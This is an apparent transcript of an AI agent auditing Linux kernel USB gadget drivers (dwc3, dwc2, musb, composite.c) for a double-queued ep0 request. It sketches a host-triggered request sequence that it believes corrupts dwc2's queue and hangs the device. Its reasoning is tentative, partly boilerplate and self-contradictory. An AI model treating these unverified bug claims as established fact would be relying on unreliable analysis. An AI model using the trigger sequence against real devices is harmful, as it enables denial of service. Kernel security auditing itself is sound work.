I need to confirm if this double-queuing is handled gracefully. I'm going to jump into the `dwc3` or `dwc2` UDC drivers. I need to see if they've explicitly coded a check for `!list_empty(&req->queue)` before calling `usb_ep_queue`. That should determine if this logic is robust or if I'm looking at a serious bug that needs addressing.
|
| 43/2 |
2026/08/13 11:29 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/dwc3/gadget.c Name:dwc3_gadget_ep_queue]
Results: map[SourceCode:2046: static int dwc3_gadget_ep_queue(struct usb_ep *ep, struct usb_request *request,
2047: gfp_t gfp_flags)
2048: {
2049: struct dwc3_request *req = to_dwc3_request(request);
2050: struct dwc3_ep *dep = to_dwc3_ep(ep);
2051: struct dwc3 *dwc = dep->dwc;
2052:
2053: unsigned long flags;
2054:
2055: int ret;
2056:
2057: spin_lock_irqsave(&dwc->lock, flags);
2058: ret = __dwc3_gadget_ep_queue(dep, req);
2059: spin_unlock_irqrestore(&dwc->lock, flags);
2060:
2061: return ret;
2062: }
SourceFile:drivers/usb/dwc3/gadget.c]
|
| 44/2 |
2026/08/13 11:29 |
llm |
expert |
0m
Model:
Tokens:
input: 60249
output: 47
thoughts: 17
Thoughts: Okay, here's my take on those thoughts, tailored for an expert audience, presented in the first person:
**Analyzing the USB Gadget Endpoint Queue**
Alright, time to dig into the guts of this USB gadget interface. My immediate thought is to zero in on `__dwc3_gadget_ep_queue`. That function is the core of how we're pushing data onto the endpoint queue, right? It's the critical path for data transfers in gadget mode, and understanding its behavior is fundamental. I need to refresh my mental model of its role in the context of the DWC3 controller. I'm thinking about the low-level interactions with the hardware descriptors, the potential for DMA involvement, and the overall queuing strategy. Any bottleneck or inefficiency here will directly impact throughput and latency. I need to consider all possible race conditions too. The usual suspects for debug are there: interrupt masking, DMA buffers, device and host descriptor synchronization, and correct handling of short packets or errors. Let’s get to it.
|
| 45/2 |
2026/08/13 11:29 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/dwc3/gadget.c Name:__dwc3_gadget_ep_queue]
Results: map[SourceCode:1980: static int __dwc3_gadget_ep_queue(struct dwc3_ep *dep, struct dwc3_request *req)
1981: {
1982: struct dwc3 *dwc = dep->dwc;
1983:
1984: if (!dep->endpoint.desc || !dwc->pullups_connected || !dwc->connected) {
1985: dev_dbg(dwc->dev, "%s: can't queue to disabled endpoint\n",
1986: dep->name);
1987: return -ESHUTDOWN;
1988: }
1989:
1990: if (WARN(req->dep != dep, "request %p belongs to '%s'\n",
1991: &req->request, req->dep->name))
1992: return -EINVAL;
1993:
1994: if (WARN(req->status < DWC3_REQUEST_STATUS_COMPLETED,
1995: "%s: request %p already in flight\n",
1996: dep->name, &req->request))
1997: return -EINVAL;
1998:
1999: pm_runtime_get(dwc->dev);
2000:
2001: req->request.actual = 0;
2002: req->request.status = -EINPROGRESS;
2003:
2004: trace_dwc3_ep_queue(req);
2005:
2006: list_add_tail(&req->list, &dep->pending_list);
2007: req->status = DWC3_REQUEST_STATUS_QUEUED;
2008:
2009: if (dep->flags & DWC3_EP_WAIT_TRANSFER_COMPLETE)
2010: return 0;
2011:
2012: /*
2013: * Start the transfer only after the END_TRANSFER is completed
2014: * and endpoint STALL is cleared.
2015: */
2016: if ((dep->flags & DWC3_EP_END_TRANSFER_PENDING) ||
2017: (dep->flags & DWC3_EP_WEDGE) ||
2018: (dep->flags & DWC3_EP_DELAY_STOP) ||
2019: (dep->flags & DWC3_EP_STALL)) {
2020: dep->flags |= DWC3_EP_DELAY_START;
2021: return 0;
2022: }
2023:
2024: /*
2025: * NOTICE: Isochronous endpoints should NEVER be prestarted. We must
2026: * wait for a XferNotReady event so we will know what's the current
2027: * (micro-)frame number.
2028: *
2029: * Without this trick, we are very, very likely gonna get Bus Expiry
2030: * errors which will force us issue EndTransfer command.
2031: */
2032: if (usb_endpoint_xfer_isoc(dep->endpoint.desc)) {
2033: if (!(dep->flags & DWC3_EP_TRANSFER_STARTED)) {
2034: if ((dep->flags & DWC3_EP_PENDING_REQUEST))
2035: return __dwc3_gadget_start_isoc(dep);
2036:
2037: return 0;
2038: }
2039: }
2040:
2041: __dwc3_gadget_kick_transfer(dep);
2042:
2043: return 0;
2044: }
SourceFile:drivers/usb/dwc3/gadget.c]
|
| 46/2 |
2026/08/13 11:29 |
llm |
expert |
0m
Model:
Tokens:
input: 61575
output: 47
thoughts: 99
Thoughts: Okay, here's my take on those code snippets, thinking through the implications as I would in my own work:
**Investigating USB Gadget Request Queuing**
Right, so `__dwc3_gadget_ep_queue` is doing some essential sanity checks before throwing a request onto the hardware. The first thing that jumps out is that `WARN` call. Specifically, it's verifying that the request (`req`) isn't already "in flight" – meaning it hasn't already been submitted to the controller. The check `req->status < DWC3_REQUEST_STATUS_COMPLETED` is key here. If the status indicates anything other than "completed" (or a subsequent state), the function flags a problem and returns `-EINVAL`. That makes perfect sense; you don't want to re-queue something that's already being processed. Double queueing is almost always a recipe for disaster in USB device driver land. It'll lead to all kinds of data corruption or device freezes. The warning is good practice as it will help in finding any issues in the code that tries to queue the same request twice, as it should not be happening.
Now the question is, how does this compare to the `dwc2` driver? I need to think about that, is it the same? I would expect it to be using a similar approach to prevent double queueing. I should go look at that code later.
|
| 47/2 |
2026/08/13 11:29 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:drivers/usb/dwc2/gadget.c Name:dwc2_hsotg_ep_queue]
Results: map[SourceCode: SourceFile:]
|
| 48/2 |
2026/08/13 11:29 |
llm |
expert |
0m
Model:
Tokens:
input: 62047
output: 37
thoughts: 12
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Analyzing the `dwc2` Queue Function**
Okay, let's dive into the `dwc2` queue function. I want to quickly refresh my understanding of its core mechanics. Given my experience, I'm likely thinking about the context. What's the specific target here? Are we talking about the hardware queue management for transactions on the USB controller itself? Or is this higher level software queuing? Is this for IN or OUT transfers or both? What are the key data structures involved? Is it a simple FIFO, priority queue, or something more complex? I'm probably mentally mapping the function's code flow, anticipating potential bottlenecks related to interrupt handling, DMA interaction (if any), and synchronization primitives. I'm also considering the potential for race conditions or data corruption if concurrency isn't handled correctly, especially in a multi-threaded or interrupt-driven environment. I'm looking for any hints about efficiency and how the queueing strategy impacts latency and throughput. Specifically, how does it handle back-pressure? Are there any obvious areas for optimization, or points that might require further investigation?
|
| 49/2 |
2026/08/13 11:30 |
tool |
grepper |
0m
Args: map[Expression:\.queue\s*= PathPrefix:drivers/usb/dwc2/gadget.c]
Results: map[Output:drivers/usb/dwc2/gadget.c=4480=static const struct usb_ep_ops dwc2_hsotg_ep_ops = {
--
drivers/usb/dwc2/gadget.c-4484- .free_request = dwc2_hsotg_ep_free_request,
drivers/usb/dwc2/gadget.c:4485: .queue = dwc2_hsotg_ep_queue_lock,
drivers/usb/dwc2/gadget.c-4486- .dequeue = dwc2_hsotg_ep_dequeue,
]
|
| 50/2 |
2026/08/13 11:30 |
llm |
expert |
0m
Model:
Tokens:
input: 62510
output: 47
thoughts: 17
Thoughts: Okay, here's my attempt at summarizing that thought process, keeping in mind I'm speaking to a fellow expert:
**Diving into the EP Queue**
Alright, time to dig into the `dwc2_hsotg_ep_queue`. It’s crucial to understand how this queue is behaving, especially in relation to the current issues. We know the high-speed OTG controller is a key piece, and the endpoint queuing is where things tend to get bottlenecked or, conversely, reveal inefficiencies. I need to understand what's in there, in what order, and what that might be telling us about the bigger picture. Is there any evidence here, or anywhere else, of a performance bottleneck or other unexpected behavior? Let’s hope to quickly spot what's going on!
|
| 51/2 |
2026/08/13 11:30 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:drivers/usb/dwc2/gadget.c Name:dwc2_hsotg_ep_queue]
Results: map[SourceCode: SourceFile:]
|
| 52/2 |
2026/08/13 11:30 |
llm |
expert |
0m
Model:
Tokens:
input: 62762
output: 49
thoughts: 17
Thoughts: Okay, here's my attempt at summarizing that thought process, keeping in mind I'm speaking to an expert:
**Understanding the dwc2_hsotg_ep_queue_lock**
Right, `dwc2_hsotg_ep_queue_lock`... That's a critical synchronization primitive in the DWC2 High-Speed OTG controller driver, isn't it? I'm immediately thinking about its purpose. It's likely a spinlock, given the typical real-time demands of USB OTG. It's almost certainly guarding access to the endpoint queue data structures, and the shared resources that entails. We're talking about regulating concurrent access from the host, device, and DMA, all interacting with the same endpoint buffers and descriptors.
My mind is jumping to potential critical sections. Endpoint transfers would be the obvious one, both IN and OUT. Any changes to the endpoint's state – enabling/disabling, pausing/resuming transfers, modifying transfer descriptors – that would necessitate grabbing the lock. I'm imagining scenarios where interrupts and DMA completions are vying for the same data. It is probably important for preventing race conditions, data corruption, and ensuring transaction integrity.
I also hope that it's implemented correctly. I'm immediately thinking about the potential pitfalls here, because a lock that's held too long, or used incorrectly, can lead to serious performance bottlenecks and even deadlocks. I need to keep in mind the interrupt context the lock is used in and how it interacts with other locking mechanisms, which is especially important if there are nested locks. I'd be looking for potential contention issues, and how the driver mitigates those.
|
| 53/2 |
2026/08/13 11:30 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:drivers/usb/dwc2/gadget.c Name:dwc2_hsotg_ep_queue_lock]
Results: map[SourceCode: SourceFile:]
|
| 54/2 |
2026/08/13 11:30 |
llm |
expert |
0m
Model:
Tokens:
input: 63199
output: 43
thoughts: 17
Thoughts: Okay, here's my attempt at summarizing that thought process, keeping in mind I'm speaking to a fellow expert:
**Diving into the EP Queue**
Alright, time to dig into the `dwc2_hsotg_ep_queue`. It’s crucial to understand how this queue is behaving, especially in relation to the current issues. We know the high-speed OTG controller is a key piece, and the endpoint queuing is where things tend to get bottlenecked or, conversely, reveal inefficiencies. I need to understand what's in there, in what order, and what that might be telling us about the bigger picture. Is there any evidence here, or anywhere else, of a performance bottleneck or other unexpected behavior? Let’s hope to quickly spot what's going on!
|
| 55/2 |
2026/08/13 11:30 |
tool |
grepper |
0m
Args: map[Expression:dwc2_hsotg_ep_queue PathPrefix:drivers/usb/dwc2/gadget.c]
Results: map[Output:drivers/usb/dwc2/gadget.c=1048=static void dwc2_hsotg_start_req(struct dwc2_hsotg *hsotg,
--
drivers/usb/dwc2/gadget.c-1179- * write DMA address to control register, buffer
drivers/usb/dwc2/gadget.c:1180: * already synced by dwc2_hsotg_ep_queue().
drivers/usb/dwc2/gadget.c-1181- */
--
drivers/usb/dwc2/gadget.c=1375=static int dwc2_gadget_set_ep0_desc_chain(struct dwc2_hsotg *hsotg,
--
drivers/usb/dwc2/gadget.c-1401-
drivers/usb/dwc2/gadget.c:1402:static int dwc2_hsotg_ep_queue(struct usb_ep *ep, struct usb_request *req,
drivers/usb/dwc2/gadget.c-1403- gfp_t gfp_flags)
--
drivers/usb/dwc2/gadget.c-1525-
drivers/usb/dwc2/gadget.c:1526:static int dwc2_hsotg_ep_queue_lock(struct usb_ep *ep, struct usb_request *req,
drivers/usb/dwc2/gadget.c-1527- gfp_t gfp_flags)
--
drivers/usb/dwc2/gadget.c-1534- spin_lock_irqsave(&hs->lock, flags);
drivers/usb/dwc2/gadget.c:1535: ret = dwc2_hsotg_ep_queue(ep, req, gfp_flags);
drivers/usb/dwc2/gadget.c-1536- spin_unlock_irqrestore(&hs->lock, flags);
--
drivers/usb/dwc2/gadget.c=1627=static int dwc2_hsotg_send_reply(struct dwc2_hsotg *hsotg,
--
drivers/usb/dwc2/gadget.c-1655-
drivers/usb/dwc2/gadget.c:1656: ret = dwc2_hsotg_ep_queue(&ep->ep, req, GFP_ATOMIC);
drivers/usb/dwc2/gadget.c-1657- if (ret) {
--
drivers/usb/dwc2/gadget.c=2038=static void dwc2_hsotg_enqueue_setup(struct dwc2_hsotg *hsotg)
--
drivers/usb/dwc2/gadget.c-2059-
drivers/usb/dwc2/gadget.c:2060: ret = dwc2_hsotg_ep_queue(&hsotg->eps_out[0]->ep, req, GFP_ATOMIC);
drivers/usb/dwc2/gadget.c-2061- if (ret < 0) {
--
drivers/usb/dwc2/gadget.c=4480=static const struct usb_ep_ops dwc2_hsotg_ep_ops = {
--
drivers/usb/dwc2/gadget.c-4484- .free_request = dwc2_hsotg_ep_free_request,
drivers/usb/dwc2/gadget.c:4485: .queue = dwc2_hsotg_ep_queue_lock,
drivers/usb/dwc2/gadget.c-4486- .dequeue = dwc2_hsotg_ep_dequeue,
]
|
| 56/2 |
2026/08/13 11:30 |
llm |
expert |
0m
Model:
Tokens:
input: 64382
output: 41
thoughts: 39
Thoughts: Here's a summary of my immediate thought process, rendered as a first-person account:
**Diving into the DWC2 Gadget Driver**
Okay, time to troubleshoot this USB issue. I need to zero in on the endpoint queuing process in the DWC2 driver, specifically within the gadget controller code. Let's see... I'm going to start by examining the `dwc2_hsotg_ep_queue` function. The filename to target is `drivers/usb/dwc2/gadget.c`, and I'll jump to line 1402. That's likely where the core logic for enqueueing USB transfer requests resides. I'm expecting to find the key pieces of code I need to analyze. My focus will be on understanding how the endpoint queues are managed, any potential race conditions, or bottlenecks there.
|
| 57/2 |
2026/08/13 11:30 |
tool |
read-file |
0m
Args: map[File:drivers/usb/dwc2/gadget.c FirstLine:1402 LineCount:50]
Results: map[Contents:1402: static int dwc2_hsotg_ep_queue(struct usb_ep *ep, struct usb_request *req,
1403: gfp_t gfp_flags)
1404: {
1405: struct dwc2_hsotg_req *hs_req = our_req(req);
1406: struct dwc2_hsotg_ep *hs_ep = our_ep(ep);
1407: struct dwc2_hsotg *hs = hs_ep->parent;
1408: bool first;
1409: int ret;
1410: u32 maxsize = 0;
1411: u32 mask = 0;
1412:
1413:
1414: dev_dbg(hs->dev, "%s: req %p: %d@%p, noi=%d, zero=%d, snok=%d\n",
1415: ep->name, req, req->length, req->buf, req->no_interrupt,
1416: req->zero, req->short_not_ok);
1417:
1418: if (hs->lx_state == DWC2_L1) {
1419: dwc2_wakeup_from_lpm_l1(hs, true);
1420: }
1421:
1422: /* Prevent new request submission when controller is suspended */
1423: if (hs->lx_state != DWC2_L0) {
1424: dev_dbg(hs->dev, "%s: submit request only in active state\n",
1425: __func__);
1426: return -EAGAIN;
1427: }
1428:
1429: /* initialise status of the request */
1430: INIT_LIST_HEAD(&hs_req->queue);
1431: req->actual = 0;
1432: req->status = -EINPROGRESS;
1433:
1434: /* Don't queue ISOC request if length greater than mps*mc */
1435: if (hs_ep->isochronous &&
1436: req->length > (hs_ep->mc * hs_ep->ep.maxpacket)) {
1437: dev_err(hs->dev, "req length > maxpacket*mc\n");
1438: return -EINVAL;
1439: }
1440:
1441: /* In DDMA mode for ISOC's don't queue request if length greater
1442: * than descriptor limits.
1443: */
1444: if (using_desc_dma(hs) && hs_ep->isochronous) {
1445: maxsize = dwc2_gadget_get_desc_params(hs_ep, &mask);
1446: if (hs_ep->dir_in && req->length > maxsize) {
1447: dev_err(hs->dev, "wrong length %d (maxsize=%d)\n",
1448: req->length, maxsize);
1449: return -EINVAL;
1450: }
1451:
]
|
| 58/2 |
2026/08/13 11:30 |
llm |
expert |
0m
Model:
Tokens:
input: 65517
output: 41
thoughts: 74
Thoughts: Okay, here's my take on those thoughts, framed as my own mental processing:
**Potential List Corruption – A Quick Debug**
Alright, I'm digging into this code, and I see something that immediately makes me twitch. It's doing `INIT_LIST_HEAD(&hs_req->queue);` on this `hs_req` without any kind of check to see if that particular entry is already part of a list. *That* feels sloppy, doesn't it?
Then it hits me – if this `hs_req` *is* already enqueued in a list, that `INIT_LIST_HEAD` call is going to blow away the list pointers. It'll effectively corrupt the list it *was* in, which will be a real headache to track down later. It's not necessarily a *fatal* bug right this moment, but depending on the execution path, could be very troublesome down the line. I need to figure out exactly how this `hs_req` is being managed. So I'll need to double check the calling functions in the execution stack.
|
| 59/2 |
2026/08/13 11:30 |
tool |
read-file |
0m
Args: map[File:drivers/usb/dwc2/gadget.c FirstLine:1452 LineCount:50]
Results: map[Contents:1452: if (!hs_ep->dir_in && req->length > hs_ep->ep.maxpacket) {
1453: dev_err(hs->dev, "ISOC OUT: wrong length %d (mps=%d)\n",
1454: req->length, hs_ep->ep.maxpacket);
1455: return -EINVAL;
1456: }
1457: }
1458:
1459: ret = dwc2_hsotg_handle_unaligned_buf_start(hs, hs_ep, hs_req);
1460: if (ret)
1461: return ret;
1462:
1463: /* if we're using DMA, sync the buffers as necessary */
1464: if (using_dma(hs)) {
1465: ret = dwc2_hsotg_map_dma(hs, hs_ep, req);
1466: if (ret)
1467: return ret;
1468: }
1469: /* If using descriptor DMA configure EP0 descriptor chain pointers */
1470: if (using_desc_dma(hs) && !hs_ep->index) {
1471: ret = dwc2_gadget_set_ep0_desc_chain(hs, hs_ep);
1472: if (ret)
1473: return ret;
1474: }
1475:
1476: first = list_empty(&hs_ep->queue);
1477: list_add_tail(&hs_req->queue, &hs_ep->queue);
1478:
1479: /*
1480: * Handle DDMA isochronous transfers separately - just add new entry
1481: * to the descriptor chain.
1482: * Transfer will be started once SW gets either one of NAK or
1483: * OutTknEpDis interrupts.
1484: */
1485: if (using_desc_dma(hs) && hs_ep->isochronous) {
1486: if (hs_ep->target_frame != TARGET_FRAME_INITIAL) {
1487: dma_addr_t dma_addr = hs_req->req.dma;
1488:
1489: if (hs_req->req.num_sgs) {
1490: WARN_ON(hs_req->req.num_sgs > 1);
1491: dma_addr = sg_dma_address(hs_req->req.sg);
1492: }
1493: dwc2_gadget_fill_isoc_desc(hs_ep, dma_addr,
1494: hs_req->req.length);
1495: }
1496: return 0;
1497: }
1498:
1499: /* Change EP direction if status phase request is after data out */
1500: if (!hs_ep->index && !req->length && !hs_ep->dir_in &&
1501: hs->ep0_state == DWC2_EP0_DATA_OUT)
]
|
| 60/2 |
2026/08/13 11:30 |
llm |
expert |
0m
Model:
Tokens:
input: 66729
output: 33
thoughts: 1095
Thoughts: **List Corruption in `dwc2` UDC Driver**
Okay, so I've been tracing through this code, and it looks like `list_add_tail` is being used to add requests to a queue. If a request (`hs_req`) is *already* in the queue (`hs_ep->queue`), the `INIT_LIST_HEAD` call will detach it but leave previous and next elements pointing to it. This means the list is corrupted. Specifically, I'm concerned about how `composite_ep0_queue` is used.
I see that `INIT_LIST_HEAD` overwrites the `prev` and `next` pointers, but the previous and next elements in the list still point to the original, now-detached element. That's a textbook case of list corruption. If the same request is queued twice, we have a problem.
Let's see if this double-queuing is happening. I traced a specific scenario: a `SET_CONFIGURATION 1` followed by a `VENDOR` request. `fsg_set_alt` returns `DELAYED_STATUS`, which sets `cdev->delayed_status` to 1. Then, `composite_setup` processes the `VENDOR` request, and *queues* `cdev->req`. After, `fsg_main_thread` handles the `FSG_STATE_CONFIG_CHANGE` exception and calls `usb_composite_setup_continue`. *That* decrements `cdev->delayed_status` to 0, and then queues `cdev->req` AGAIN! Bingo!
The code directly uses `cdev->req` in `composite_setup` for the `VENDOR` request, and it *also* uses `cdev->req` in `usb_composite_setup_continue`. So, this request is queued *twice*! This is definitely the double-queue scenario I was worried about. If the UDC driver is `dwc2`, this leads to corruption of the ep0 queue. List corruption can, of course, lead to arbitrary memory corruption.
Is this actually possible? I need to verify if `composite_setup` can process a `VENDOR` request while `cdev->delayed_status` is 1. If we have a delayed status, the gadget is waiting for the status phase of a previous request. But the hardware must *accept* new SETUP packets, which will abort the current control transfer. The gadget driver (like `dwc2`) calls the `setup` callback, which is `composite_setup`. So, `composite_setup` *is* called. And, crucially, `composite_setup` doesn't check `cdev->delayed_status`! I checked the code for how `cdev->delayed_status` is cleared. It's only cleared in `reset_config`.
So, it looks like `composite_setup` *is* being called while there's a delayed status, and it *does* double-queue the request.
This is a list corruption bug in `dwc2`!
|
| 61/2 |
2026/08/13 11:30 |
tool |
grepper |
0m
Args: map[Expression:delayed_status PathPrefix:drivers/usb/gadget/composite.c]
Results: map[Output:drivers/usb/gadget/composite.c=928=static void reset_config(struct usb_composite_dev *cdev)
--
drivers/usb/gadget/composite.c-943- cdev->config = NULL;
drivers/usb/gadget/composite.c:944: cdev->delayed_status = 0;
drivers/usb/gadget/composite.c-945-}
--
drivers/usb/gadget/composite.c=947=static int set_config(struct usb_composite_dev *cdev,
--
drivers/usb/gadget/composite.c-1030- __func__, tmp, f->name);
drivers/usb/gadget/composite.c:1031: cdev->delayed_status++;
drivers/usb/gadget/composite.c:1032: DBG(cdev, "delayed_status count %d\n",
drivers/usb/gadget/composite.c:1033: cdev->delayed_status);
drivers/usb/gadget/composite.c-1034- }
--
drivers/usb/gadget/composite.c-1059- usb_gadget_vbus_draw(gadget, power);
drivers/usb/gadget/composite.c:1060: if (result >= 0 && cdev->delayed_status)
drivers/usb/gadget/composite.c-1061- result = USB_GADGET_DELAYED_STATUS;
--
drivers/usb/gadget/composite.c=1754=composite_setup(struct usb_gadget *gadget, const struct usb_ctrlrequest *ctrl)
--
drivers/usb/gadget/composite.c-1937- __func__, intf, f->name);
drivers/usb/gadget/composite.c:1938: cdev->delayed_status++;
drivers/usb/gadget/composite.c:1939: DBG(cdev, "delayed_status count %d\n",
drivers/usb/gadget/composite.c:1940: cdev->delayed_status);
drivers/usb/gadget/composite.c-1941- }
--
drivers/usb/gadget/composite.c=2733=void usb_composite_setup_continue(struct usb_composite_dev *cdev)
--
drivers/usb/gadget/composite.c-2741-
drivers/usb/gadget/composite.c:2742: if (cdev->delayed_status == 0) {
drivers/usb/gadget/composite.c-2743- WARN(cdev, "%s: Unexpected call\n", __func__);
drivers/usb/gadget/composite.c-2744-
drivers/usb/gadget/composite.c:2745: } else if (--cdev->delayed_status == 0) {
drivers/usb/gadget/composite.c-2746- DBG(cdev, "%s: Completing delayed status\n", __func__);
]
|
| 62/2 |
2026/08/13 11:30 |
llm |
expert |
0m
Model:
Tokens:
input: 69265
output: 39
thoughts: 3555
Thoughts: **Double-Queue Bug in USB Gadget Driver: An In-Depth Analysis**
Okay, so here's the deal. I've been dissecting this potential double-queue vulnerability in the USB composite gadget driver, and it's looking pretty nasty, especially with how common some of these controllers are, like the one in the Raspberry Pi. The crux of it is this: `composite_setup` isn't always clearing `cdev->delayed_status` correctly. This means that if a new `SETUP` packet comes in while there's a delayed status outstanding, that value remains set. So, the old request doesn't get cleaned up, and a new one can be processed right on top of it.
If the new `SETUP` request is a standard request that doesn't cause a delay, like a `VENDOR` or `GET_DESCRIPTOR` request, `composite_setup` queues `cdev->req`, which is the request control block, for the data transfer. Then, when the original request's status phase is handled by `usb_composite_setup_continue`, the value of `cdev->delayed_status` is decremented. If it hits zero, it then *again* queues `cdev->req`, which is the *exact same* control request block. This is textbook double-queueing, and it is a major issue!
The real kicker is that some UDC (USB Device Controller) drivers don't protect against this. The `dwc2` driver, for example, simply re-initializes the list head (`INIT_LIST_HEAD`) of the request, which causes list corruption. The `dummy_hcd` driver returns an error from `composite_ep0_queue` when this happens. Even UDC drivers that supposedly prevent double-queueing, such as `dwc3` and `dummy_hcd`, are vulnerable to a race condition.
Now, if the first queue is already completed, the request might be in an idle state. However, the host is not expecting a zero-length packet (ZLP) so the protocol is violated. And, if the first queue has *not* completed, the situation is even worse. I found the sequence to trigger this issue by sending `SET_CONFIGURATION 1`, which calls `fsg_set_alt` which returns `DELAYED_STATUS`. The gadget sets `cdev->delayed_status` to 1. Then I need to send another request. In this case, `GET_DESCRIPTOR` for the device descriptor works, because `composite_setup` queues `cdev->req` for a data transfer in response to `GET_DESCRIPTOR`. Then `fsg_main_thread` calls `usb_composite_setup_continue` and the request is double queued!
The list corruption that occurs with `dwc2` is a real memory corruption issue. It's exploitable by a malicious USB host. The list corruption itself results in an infinite loop which causes a hard lockup! This is a reliable Denial of Service condition. The `dwc2` controller is very common, so this is a serious vulnerability!
I dug deep into the code and confirmed that a specific sequence of commands—`SET_CONFIGURATION 1` followed by a `GET_DESCRIPTOR` request—triggers the double-queueing. The key is that the `GET_DESCRIPTOR` call results in `composite_setup` queueing a request, and because `fsg_set_alt` returned `DELAYED_STATUS` the `usb_composite_setup_continue` call results in a second queue.
Now, for `dwc2`, it appears there's a problem when a request is double-queued: After it is initialized with `INIT_LIST_HEAD`, and then added to the tail with `list_add_tail`, the list gets broken if it only had one element, resulting in an infinite loop due to pointer mismanagement! The `dummy_hcd` will return `-EINVAL` if the request is double-queued, then the gadget will run `composite_setup_complete` so it is not a memory corruption, but it is a denial of service!
|
| 63/2 |
2026/08/13 11:31 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/composite.c Name:composite_setup_complete]
Results: map[SourceCode:1549: static void composite_setup_complete(struct usb_ep *ep, struct usb_request *req)
1550: {
1551: struct usb_composite_dev *cdev;
1552:
1553: if (req->status || req->actual != req->length)
1554: DBG((struct usb_composite_dev *) ep->driver_data,
1555: "setup complete --> %d, %d/%d\n",
1556: req->status, req->actual, req->length);
1557:
1558: /*
1559: * REVIST The same ep0 requests are shared with function drivers
1560: * so they don't have to maintain the same ->complete() stubs.
1561: *
1562: * Because of that, we need to check for the validity of ->context
1563: * here, even though we know we've set it to something useful.
1564: */
1565: if (!req->context)
1566: return;
1567:
1568: cdev = req->context;
1569:
1570: if (cdev->req == req)
1571: cdev->setup_pending = false;
1572: else if (cdev->os_desc_req == req)
1573: cdev->os_desc_pending = false;
1574: else
1575: WARN(1, "unknown request %p\n", req);
1576: }
SourceFile:drivers/usb/gadget/composite.c]
|
| 64/2 |
2026/08/13 11:31 |
llm |
expert |
0m
Model:
Tokens:
input: 74190
output: 50
thoughts: 236
Thoughts: **My Assessment of the UDC Setup Process**
Okay, so I'm looking at this code, and it's setting `cdev->setup_pending = false`. That seems straightforward enough, but it *doesn't* free the request, which is interesting. Wait a minute... the request is still sitting in the UDC's queue! This is because the first queue operation succeeded, but the second one failed, specifically returning `-EINVAL`. So, now the request is queued, but that `setup_pending` flag is set to `false`, which is... potentially problematic.
When the *first* queue operation eventually completes, the UDC driver is going to call `req->complete`, which in this context means `composite_setup_complete`. And guess what? `composite_setup_complete` will set `cdev->setup_pending` to `false` *again*. This seems redundant, and at first glance, harmless, but I'm sensing a subtle issue lurking here.
Now, I need to consider potential UDC driver behavior. What if the UDC driver is `dwc3`? It also returns `-EINVAL` if the request is already queued. So, `dwc3` will call `composite_setup_complete` prematurely, which is exactly the scenario I was just thinking about.
Let's switch gears and think about `raw_gadget`. Oh, right, `raw_gadget` isn't a UDC driver, it's a gadget driver. In this case, `composite` is the gadget driver. That changes things a bit.
Finally, what about the `musb` driver? I'll need to check how that handles the same situation. I see a potential race condition here, or at least redundant operations. I'll need to investigate what's actually going on.
|
| 65/2 |
2026/08/13 11:31 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/musb/musb_gadget_ep0.c Name:musb_g_ep0_queue]
Results: map[SourceCode: 902: static int
903: musb_g_ep0_queue(struct usb_ep *e, struct usb_request *r, gfp_t gfp_flags)
904: {
905: struct musb_ep *ep;
906: struct musb_request *req;
907: struct musb *musb;
908: int status;
909: unsigned long lockflags;
910: void __iomem *regs;
911:
912: if (!e || !r)
913: return -EINVAL;
914:
915: ep = to_musb_ep(e);
916: musb = ep->musb;
917: regs = musb->control_ep->regs;
918:
919: req = to_musb_request(r);
920: req->musb = musb;
921: req->request.actual = 0;
922: req->request.status = -EINPROGRESS;
923: req->tx = ep->is_in;
924:
925: spin_lock_irqsave(&musb->lock, lockflags);
926:
927: if (!list_empty(&ep->req_list)) {
928: status = -EBUSY;
929: goto cleanup;
930: }
931:
932: switch (musb->ep0_state) {
933: case MUSB_EP0_STAGE_RX: /* control-OUT data */
934: case MUSB_EP0_STAGE_TX: /* control-IN data */
935: case MUSB_EP0_STAGE_ACKWAIT: /* zero-length data */
936: status = 0;
937: break;
938: default:
939: musb_dbg(musb, "ep0 request queued in state %d",
940: musb->ep0_state);
941: status = -EINVAL;
942: goto cleanup;
943: }
944:
945: /* add request to the list */
946: list_add_tail(&req->list, &ep->req_list);
947:
948: musb_dbg(musb, "queue to %s (%s), length=%d",
949: ep->name, ep->is_in ? "IN/TX" : "OUT/RX",
950: req->request.length);
951:
952: musb_ep_select(musb->mregs, 0);
953:
954: /* sequence #1, IN ... start writing the data */
955: if (musb->ep0_state == MUSB_EP0_STAGE_TX)
956: ep0_txstate(musb);
957:
958: /* sequence #3, no-data ... issue IN status */
959: else if (musb->ep0_state == MUSB_EP0_STAGE_ACKWAIT) {
960: if (req->request.length)
961: status = -EINVAL;
962: else {
963: musb->ep0_state = MUSB_EP0_STAGE_STATUSIN;
964: musb_writew(regs, MUSB_CSR0,
965: musb->ackpend | MUSB_CSR0_P_DATAEND);
966: musb->ackpend = 0;
967: musb_g_ep0_giveback(ep->musb, r);
968: }
969:
970: /* else for sequence #2 (OUT), caller provides a buffer
971: * before the next packet arrives. deferred responses
972: * (after SETUP is acked) are racey.
973: */
974: } else if (musb->ackpend) {
975: musb_writew(regs, MUSB_CSR0, musb->ackpend);
976: musb->ackpend = 0;
977: }
978:
979: cleanup:
980: spin_unlock_irqrestore(&musb->lock, lockflags);
981: return status;
982: }
SourceFile:drivers/usb/musb/musb_gadget_ep0.c]
|
| 66/2 |
2026/08/13 11:31 |
llm |
expert |
0m
Model:
Tokens:
input: 76151
output: 42
thoughts: 2488
Thoughts: **Analysis of a USB Gadget Double-Queue Bug**
Okay, so I've dug into this USB gadget issue. My initial thought was, the `musb` driver checks if the request list is empty, so it should be safe. However, the problem lies deeper, specifically in how the `composite.c` framework interacts with mass storage. The WARN message is triggered because `cdev->delayed_status` is zero. I see the double-queueing happens when `cdev->delayed_status` is *not* zero upon calling `usb_composite_setup_continue`, which then indicates `reset_config` didn't clear the status. This means a `SET_CONFIGURATION 0` wasn't sent, which causes the `fsg_main_thread` to process the first `FSG_STATE_CONFIG_CHANGE` and, in turn, calls `usb_composite_setup_continue`. The subsequent decrement to zero and queuing *should* be normal behavior, right? It's intended.
